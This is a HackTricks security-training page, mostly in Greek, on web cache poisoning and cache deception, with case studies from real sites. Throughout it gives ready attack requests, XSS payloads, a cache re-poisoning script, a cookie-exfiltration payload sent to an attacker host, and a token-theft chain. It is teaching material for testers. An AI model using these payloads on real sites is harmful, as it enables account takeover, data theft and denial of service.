Cache Poisoning and Cache Deception
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η διαφορά
Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;
- In web cache poisoning, ο επιτιθέμενος προκαλεί στην εφαρμογή την αποθήκευση κακόβουλου περιεχομένου στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
- In web cache deception, ο επιτιθέμενος προκαλεί στην εφαρμογή την αποθήκευση ευαίσθητου περιεχομένου που ανήκει σε άλλον χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache.
Cache Poisoning
Cache poisoning στοχεύει στη χειραγώγηση της client-side cache για να αναγκάσει τους clients να φορτώσουν resources που είναι απρόσμενα, μερικά ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος του αντίκτυπου εξαρτάται από τη δημοφιλία της επηρεαζόμενης σελίδας, καθώς η μολυσμένη response σερβίρεται αποκλειστικά στους users που επισκέπτονται τη σελίδα κατά τη διάρκεια της περιόδου μόλυνσης της cache.
Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα:
- Identification of Unkeyed Inputs: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα request στην cache, μπορούν να αλλάξουν τη response που επιστρέφει ο server. Ο εντοπισμός αυτών των inputs είναι κρίσιμος καθώς μπορούν να αξιοποιηθούν για να χειριστούν την cache.
- Exploitation of the Unkeyed Inputs: Μετά τον εντοπισμό των Unkeyed Inputs, το επόμενο βήμα είναι να βρεθεί πώς να κακοποιηθούν αυτές οι παράμετροι για να τροποποιηθεί η response του server με τρόπο που ωφελεί τον επιτιθέμενο.
- Ensuring the Poisoned Response is Cached: Το τελικό βήμα είναι να εξασφαλιστεί ότι η χειραγωγημένη response αποθηκεύεται στην cache. Με αυτόν τον τρόπο, κάθε user που έχει πρόσβαση στην επηρεαζόμενη σελίδα όσο η cache είναι poisoned θα λάβει τη μολυσμένη response.
Ανακάλυψη: Έλεγχος HTTP headers
Συνήθως, όταν μια response έχει αποθηκευτεί στην cache θα υπάρχει ένα header που το υποδεικνύει, μπορείς να ελέγξεις ποια headers πρέπει να προσέξεις σε αυτό το post: HTTP Cache headers.
Ανακάλυψη: Caching error codes
Αν νομίζεις ότι η response αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να στείλεις requests με ένα κακό header, που θα πρέπει να απαντηθεί με status code 400. Έπειτα προσπάθησε να προσπελάσεις το request κανονικά και αν η response είναι 400 status code, ξέρεις ότι είναι ευάλωτο (και μπορείς ακόμα να εκτελέσεις DoS).
You can find more options in:
Ωστόσο, σημείωσε ότι μερικές φορές αυτού του είδους τα status codes δεν αποθηκεύονται στην cache, οπότε αυτό το test μπορεί να μην είναι αξιόπιστο.
Ανακάλυψη: Identify and evaluate unkeyed inputs
Μπορείς να χρησιμοποιήσεις Param Miner για να brute-force παραμέτρους και headers που μπορεί να αλλάζουν τη response της σελίδας. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header X-Forwarded-For για να υποδείξει στον client να φορτώσει το script από εκεί:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Προκαλέστε μια επιβλαβή απάντηση από τον back-end server
With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?…)
Get the response cached
Μόλις έχετε εντοπίσει τη σελίδα που μπορεί να υποστεί κατάχρηση, ποιο parameter/header να χρησιμοποιήσετε και πώς να abuse it, πρέπει να κάνετε την σελίδα να αποθηκευτεί στο cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλετε στο cache, αυτό μπορεί να πάρει κάποιο χρόνο — μπορεί να χρειαστεί να δοκιμάζετε για μερικά δευτερόλεπτα.
The header X-Cache in the response could be very useful as it may have the value miss when the request wasn’t cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800
Ένα ακόμα ενδιαφέρον header είναι το Vary. Αυτό το header συχνά χρησιμοποιείται για να υποδείξει πρόσθετα headers που θεωρούνται ως μέρος του cache key ακόμη και αν συνήθως δεν είναι keyed. Επομένως, αν ο χρήστης γνωρίζει τον User-Agent του θύματος που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτόν τον συγκεκριμένο User-Agent.
Ένα ακόμα header σχετικό με το cache είναι το Age. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στο proxy cache.
When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it’s working.
Foundational cache poisoning case studies
HackerOne παγκόσμια ανακατεύθυνση μέσω X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Ζητήστε αμέσως ξανά το
/χωρίς το spoofed header· αν η ανακατεύθυνση επιμένει, έχετε ένα global host-spoofing primitive που συχνά αναβαθμίζει reflected redirects/Open Graph links σε stored issues.
DoS σε GitHub repository μέσω Content-Type + PURGE
- Η ανώνυμη κίνηση ήταν keyed μόνο στο path, ενώ το backend μπήκε σε κατάσταση σφάλματος όταν είδε ένα απροσδόκητο
Content-Type. Αυτή η απάντηση σφάλματος ήταν cacheable για κάθε μη-αυθεντικοποιημένο χρήστη του repo. - Το GitHub επίσης (ακούσια) υπάκουε στο ρήμα
PURGE, επιτρέποντας σε attacker να εκκαθαρίσει μια υγιή εγγραφή και να αναγκάσει τις caches να τραβήξουν την poisoned variant κατ’ απαίτηση:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Πάντα συγκρίνετε authenticated vs anonymous cache keys, fuzz σπάνια keyed headers όπως το
Content-Type, και εξετάστε εκτεθειμένα cache-maintenance verbs για να αυτοματοποιήσετε το re-poisoning.
Shopify cross-host persistence loops
- Multi-layer caches μερικές φορές απαιτούν πολλαπλά identical hits πριν commit ενός νέου object. Η Shopify επαναχρησιμοποιούσε το ίδιο cache σε πολλούς localized hosts, οπότε persistence σήμαινε επίπτωση σε πολλές properties.
- Χρησιμοποιήστε σύντομους automation loops για να επαναλαμβανόμενα reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Μετά από μια
hitresponse, σαρώστε άλλους hosts/assets που μοιράζονται το ίδιο cache namespace για να επιδείξετε το cross-domain blast radius.
JS asset redirect → stored XSS chain
- Ιδιωτικά προγράμματα συχνά φιλοξενούν κοινόχρηστο JS όπως
/assets/main.jsσε δεκάδες subdomains. Αν τοX-Forwarded-Hostεπηρεάζει τη redirect λογική για αυτά τα assets αλλά είναι unkeyed, η cached response γίνεται 301 προς attacker JS, παράγοντας stored XSS παντού όπου το asset εισάγεται.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Εντοπίστε ποιοι hosts επαναχρησιμοποιούν το ίδιο asset path ώστε να μπορείτε να αποδείξετε multi-subdomain compromise.
GitLab στατικό DoS μέσω X-HTTP-Method-Override
- Το GitLab εξυπηρετούσε στατικά bundles από Google Cloud Storage, που υποστηρίζει
X-HTTP-Method-Override. Η αντικατάσταση του GET με HEAD επέστρεφε ένα cacheable200 OKμεContent-Length: 0, και το edge cache αγνοούσε τη μέθοδο HTTP όταν δημιουργούσε το κλειδί.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Ένα μόνο αίτημα αντικατέστησε το JS bundle με κενό σώμα για κάθε GET, ουσιαστικά DoSing το UI. Πάντα δοκιμάζετε method overrides (
X-HTTP-Method-Override,X-Method-Override, etc.) ενάντια σε static assets και επιβεβαιώστε εάν η cache ποικίλλει ανά method.
HackerOne static asset loop via X-Forwarded-Scheme
- Rails’ Rack middleware εμπιστευόταν το
X-Forwarded-Schemeγια να αποφασίσει εάν θα επιβάλλει HTTPS. Το Spoofing τουhttpενάντια στο/static/logo.pngπροκάλεσε cacheable 301, έτσι όλοι οι χρήστες στη συνέχεια λάμβαναν redirects (ή loops) αντί για το asset:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Συνδυάστε scheme spoofing με host spoofing όταν είναι δυνατόν για να δημιουργήσετε μη αναστρέψιμες ανακατευθύνσεις για πόρους υψηλής προβολής.
Cloudflare host-header ασυμφωνία πεζών/κεφαλαίων
- Cloudflare κανονικοποίησε το
Hostheader για τα cache keys αλλά προώθησε το raw casing στα origins. Η αποστολήHost: TaRgEt.CoMπροκάλεσε εναλλακτική συμπεριφορά στην origin routing/templating ενώ εξακολουθούσε να γεμίζει το canonical lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Καταγράψτε tenants του CDN αναπαράγοντας mixed-case hosts (και άλλες normalized headers) και συγκρίνετε (diff) την cached response με την origin response για να αποκαλύψετε shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- Η έγχυση του
X-Forwarded-Hostμέσα σε Open Graph tags μετέτρεψε μια reflected HTML injection σε stored XSS μόλις το CDN έκανε cache τη σελίδα. Χρησιμοποιήστε ένα harmless cache buster κατά τη δοκιμή για να αποφύγετε να βλάψετε τους production χρήστες:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Social media scrapers καταναλώνουν cached Open Graph tags, οπότε μία μόνο poisoned entry διανέμει το payload πολύ πέρα από τους άμεσους επισκέπτες.
Παραδείγματα Εκμετάλλευσης
Πιο απλό παράδειγμα
Ένα header όπως το X-Forwarded-For αντανακλάται στην απόκριση χωρίς καθαρισμό.
Μπορείτε να στείλετε ένα βασικό XSS payload και να δηλητηριάσετε το cache, έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Sημειώστε ότι αυτό θα δηλητηριάσει ένα αίτημα προς /en?region=uk και όχι προς /en
Cache poisoning για DoS
Cache poisoning μέσω CDNs
In this writeup εξηγείται το παρακάτω απλό σενάριο:
- Το CDN θα cache-άρει οτιδήποτε κάτω από
/share/ - Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το
%2F..%2F, επομένως μπορεί να χρησιμοποιηθεί ως path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν στην cache όπωςhttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το
%2F..%2F, και θα απαντήσει με/api/auth/session, το οποίο περιέχει το auth token.
Using web cache poisoning για εκμετάλλευση ευπαθειών χειρισμού cookies
Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε ένα XSS, για παράδειγμα, θα μπορούσατε να εκμεταλλευτείτε το XSS σε πολλούς clients που φορτώνουν την κακόβουλη cache απόκριση.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα κανονικά requests θα καθαρίζουν την cache.
Δημιουργία αποκλίσεων με διαχωριστικά, κανονικοποίηση και τελείες
Check:
Cache Poisoning via URL discrepancies
Cache poisoning με path traversal για κλοπή API key
Αυτό το writeup εξηγεί πώς ήταν δυνατόν να κλαπεί ένα OpenAI API key με ένα URL όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 επειδή οτιδήποτε που ταιριάζει με /share/* θα γίνεται cached χωρίς το Cloudflare να κανονικοποιεί το URL, κάτι που γινόταν όταν το request έφτανε στον web server.
Αυτό εξηγείται και καλύτερα στο:
Cache Poisoning via URL discrepancies
Χρήση πολλαπλών headers για την εκμετάλλευση των web cache poisoning vulnerabilities
Κάποιες φορές θα χρειαστεί να exploit several unkeyed inputs για να μπορέσετε να abuse μια cache. Για παράδειγμα, ίσως βρείτε ένα Open redirect αν ορίσετε X-Forwarded-Host σε ένα domain που ελέγχετε και X-Forwarded-Scheme σε http. Αν ο server προωθεί όλα τα HTTP requests σε HTTPS και χρησιμοποιεί το header X-Forwarded-Scheme ως το domain για το redirect, μπορείτε να ελέγξετε προς ποιο σημείο δείχνει η σελίδα μέσω του redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Εκμετάλλευση με περιορισμένο Vary header
Αν διαπιστώσετε ότι η επικεφαλίδα X-Host χρησιμοποιείται ως όνομα domain για τη φόρτωση ενός JS resource, αλλά η επικεφαλίδα Vary στην απάντηση υποδεικνύει User-Agent, τότε πρέπει να βρείτε τρόπο να exfiltrate το User-Agent του θύματος και να poison the cache χρησιμοποιώντας αυτόν τον user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Στείλε ένα GET request με το request στο URL και στο body. Αν ο web server χρησιμοποιεί αυτό από το body αλλά ο cache server caches αυτό από το URL, οποιοσδήποτε αποκτά πρόσβαση σε εκείνο το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το body. Όπως το vuln James Kettle βρήκε στο Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Υπάρχει ένα Portswigger lab για αυτό: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Μάθετε εδώ πώς να πραγματοποιείτε Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Το Web Cache Vulnerability Scanner μπορεί να χρησιμοποιηθεί για αυτόματη δοκιμή για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το real-world pattern συνδέει ένα header-based reflection primitive με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το main HTML αντανακλούσε ένα μη αξιόπιστο request header (e.g.,
User-Agent) σε executable context. - Το CDN αφαίρεσε cache headers αλλά υπήρχε internal/origin cache. Το CDN επίσης auto-cached requests που τελείωναν σε static extensions (e.g.,
.js), ενώ το WAF εφάρμοζε πιο αδύνατο content inspection σε GETs για static assets. - Παραξενιές στη ροή των requests επέτρεψαν σε ένα request προς ένα
.jspath να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επακόλουθο main HTML, επιτρέποντας cross-user XSS μέσω header reflection.
Practical recipe (observed across a popular CDN/WAF):
- From a clean IP (avoid prior reputation-based downgrades), set a malicious
User-Agentvia browser or Burp Proxy Match & Replace. - In Burp Repeater, prepare a group of two requests and use “Send group in parallel” (single-packet mode works best):
- First request: GET a
.jsresource path on the same origin while sending your maliciousUser-Agent. - Immediately after: GET the main page (
/).
- The CDN/WAF routing race plus the auto-cached
.jsoften seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., sameVarydimensions likeUser-Agent).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Λειτουργικές συμβουλές:
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Χρησιμοποιήστε πολλαπλά vantage IPs και throttle για να αποφύγετε rate-limit ή reputation triggers.
- Η χρήση ενός IP από το ίδιο cloud του CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
- Αν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η reflection εκτελείται στο main HTML context και το CSP επιτρέπει inline execution ή παρακάμπτεται από το context.
Επιπτώσεις:
- Εάν τα session cookies δεν είναι
HttpOnly, είναι δυνατή η zero-click ATO μέσω μαζικής exfiltrating τουdocument.cookieαπό όλους τους χρήστες στους οποίους σερβίρεται το poisoned HTML.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Ένα Sitecore‑specific pattern επιτρέπει μη-επαληθευμένες εγγραφές στο HtmlCache μέσω κατάχρησης pre‑auth XAML handlers και AjaxScriptManager reflection. Όταν ο handler Sitecore.Shell.Xaml.WebControl φτάνει, ένα xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) είναι διαθέσιμο και επιτρέπεται η ακόλουθη reflective call:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Αυτό γράφει αυθαίρετο HTML υπό attacker‑chosen cache key, επιτρέποντας precise poisoning μόλις τα cache keys είναι γνωστά.
Για πλήρεις λεπτομέρειες (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Ευάλωτα Παραδείγματα
Apache Traffic Server (CVE-2021-27577)
Ο ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο τον host, το path και το query (αγνοώντας το fragment). Έτσι το request /#/../?r=javascript:alert(1) στάλθηκε στο backend ως /#/../?r=javascript:alert(1) και το cache key δεν περιείχε το payload μέσα του, μόνο host, path και query.
403 και Storage Buckets
Η Cloudflare προηγουμένως έκανε cache τις 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκευόταν στην cache. Παρόλο που η Cloudflare σταμάτησε να κάνει cache τις 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να υπάρχει ακόμα σε άλλες proxy υπηρεσίες.
Έγχυση Keyed Parameters
Οι caches συχνά συμπεριλαμβάνουν συγκεκριμένα GET parameters στο cache key. Για παράδειγμα, το Varnish της Fastly έκανε cache το parameter size στα requests. Ωστόσο, αν μια URL-encoded έκδοση του parameter (π.χ. siz%65) στάλθηκε επίσης με λανθασμένη τιμή, το cache key θα κατασκευαζόταν χρησιμοποιώντας το σωστό size parameter. Παρ’ όλα αυτά, το backend θα επεξεργαζόταν την τιμή στην URL-encoded παράμετρο. Το URL-encoding της δεύτερης size παραμέτρου είχε ως αποτέλεσμα την παράλειψή της από την cache αλλά την αξιοποίησή της από το backend. Ανάθεση τιμής 0 σε αυτή την παράμετρο οδηγούσε σε cacheable 400 Bad Request σφάλμα.
Κανόνες User Agent
Κάποιοι developers μπλοκάρουν requests με user-agents που ταιριάζουν σε high-traffic εργαλεία όπως FFUF ή Nuclei για να διαχειριστούν το φορτίο του server. Ειρωνικά, αυτή η προσέγγιση μπορεί να εισαγάγει ευπάθειες όπως cache poisoning και DoS.
Παράνομα Header Fields
Το RFC7230 καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα header. Τα Headers που περιέχουν χαρακτήρες έξω από το καθορισμένο εύρος tchar ιδανικά θα πρέπει να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι servers δεν συμμορφώνονται πάντα με αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και κάνει cache οποιοδήποτε 400 error, εφόσον το cache-control header δεν είναι παρόν. Εντοπίστηκε ένα αξιοποιήσιμο μοτίβο όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως \, είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
Εύρεση νέων headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Ο στόχος του Cache Deception είναι να κάνει τους clients να φορτώνουν resources που πρόκειται να αποθηκευτούν στην cache με τις ευαίσθητες πληροφορίες τους.
Πρώτα απ’ όλα σημειώστε ότι οι επεκτάσεις όπως .css, .js, .png κ.λπ. συνήθως διαμορφώνονται ώστε να αποθηκεύονται στην cache. Επομένως, αν προσπελάσετε www.example.com/profile.php/nonexistent.js η cache πιθανόν θα αποθηκεύσει την απάντηση επειδή βλέπει την .js επέκταση. Αλλά, αν η εφαρμογή ανταποκρίνεται με τα ευαίσθητα περιεχόμενα χρήστη που αποθηκεύονται στο www.example.com/profile.php, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.
Άλλα πράγματα για δοκιμή:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μια μη-υπάρχουσα σελίδα όπως http://www.example.com/home.php/non-existent.css το περιεχόμενο του http://www.example.com/home.php (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.
Έπειτα, ο attacker μπορεί να προσπελάσει http://www.example.com/home.php/non-existent.css στον δικό του browser και να παρατηρήσει τις εμπιστευτικές πληροφορίες των χρηστών που είχαν πρόσβαση νωρίτερα.
Σημειώστε ότι ο cache proxy πρέπει να είναι διαμορφωμένος να κάνει cache αρχεία βάσει της επέκτασης του αρχείου (.css) και όχι βάσει του content-type. Στο παράδειγμα http://www.example.com/home.php/non-existent.css θα έχει text/html content-type αντί για text/css mime type.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
Γενική ιδέα:
- Ένα sensitive API endpoint απαιτεί custom auth header και είναι σωστά επισημασμένο ως non-cacheable by origin.
- Το να προσαρτήσεις ένα static-looking επίθημα (για παράδειγμα, .css) κάνει το CDN να αντιμετωπίζει το path ως static asset και να κάνει cache την απάντηση, συχνά χωρίς να διαφοροποιεί με βάση sensitive headers.
- Το SPA περιέχει CSPT: concatenates ένα user-controlled path segment στο API URL ενώ προσθέτει το victim’s auth header (για παράδειγμα, X-Auth-Token). Με την έγχυση ../.. traversal, το authenticated fetch ανακατευθύνεται στην cacheable path variant (…/v1/token.css), προκαλώντας το CDN να κάνει cache το victim’s token JSON υπό ένα public key.
- Ο οποιοσδήποτε μπορεί τότε να κάνει GET το ίδιο cache key χωρίς authentication και να ανακτήσει το victim’s token.
Παράδειγμα
- Ευαίσθητο endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Η κατάληξη που μοιάζει στατική μετατρέπει το CDN σε cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT σε SPA επισυνάπτει auth header και επιτρέπει traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Αλυσίδα εκμετάλλευσης:
- Προσελκύστε το θύμα σε ένα URL που εισάγει dot-segments στο SPA path parameter, π.χ.:
- Το SPA εκτελεί ένα authenticated fetch προς:
- Η κανονικοποίηση από το browser το επιλύει σε:
- Το CDN αντιμετωπίζει το .css ως static asset και caches το JSON με Cache-Control: public, max-age=…
- Δημόσια ανάκτηση: οποιοσδήποτε μπορεί στη συνέχεια να κάνει GET https://api.example.com/v1/token.css και να λάβει το cached token JSON.
Προϋποθέσεις
- Το SPA πραγματοποιεί authenticated fetch/XHR στο ίδιο API origin (ή cross-origin με working CORS) και επισυνάπτει sensitive headers ή bearer tokens.
- Το Edge/CDN εφαρμόζει extension-based caching για static-looking paths (π.χ., *.css, *.js, images) και δεν διαφοροποιεί το cache key με βάση το sensitive header.
- Το origin για το base endpoint είναι non-cacheable (σωστό), αλλά η extension-suffixed παραλλαγή επιτρέπεται ή δεν μπλοκάρεται από edge rules.
Λίστα ελέγχου επικύρωσης
- Εντοπίστε sensitive dynamic endpoints και δοκιμάστε suffixes όπως .css, .js, .jpg, .json. Ψάξτε για Cache-Control: public/max-age και X-Cache: Hit (ή ισοδύναμο, π.χ., CF-Cache-Status) ενώ το περιεχόμενο παραμένει JSON.
- Εντοπίστε client code που concatenates user-controlled input σε API paths ενώ επισυνάπτει auth headers. Εισάγετε ../ ακολουθίες για να ανακατευθύνετε το authenticated request προς τον target endpoint.
- Επιβεβαιώστε ότι το authenticated header υπάρχει στο retargeted request (π.χ., σε proxy ή μέσω server-side logs) και ότι το CDN caches την απάντηση υπό το traversed path.
- Από ένα fresh context (χωρίς auth), αιτηθείτε το ίδιο path και επιβεβαιώστε ότι το secret JSON σερβίρεται από cache.
Automatic Tools
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

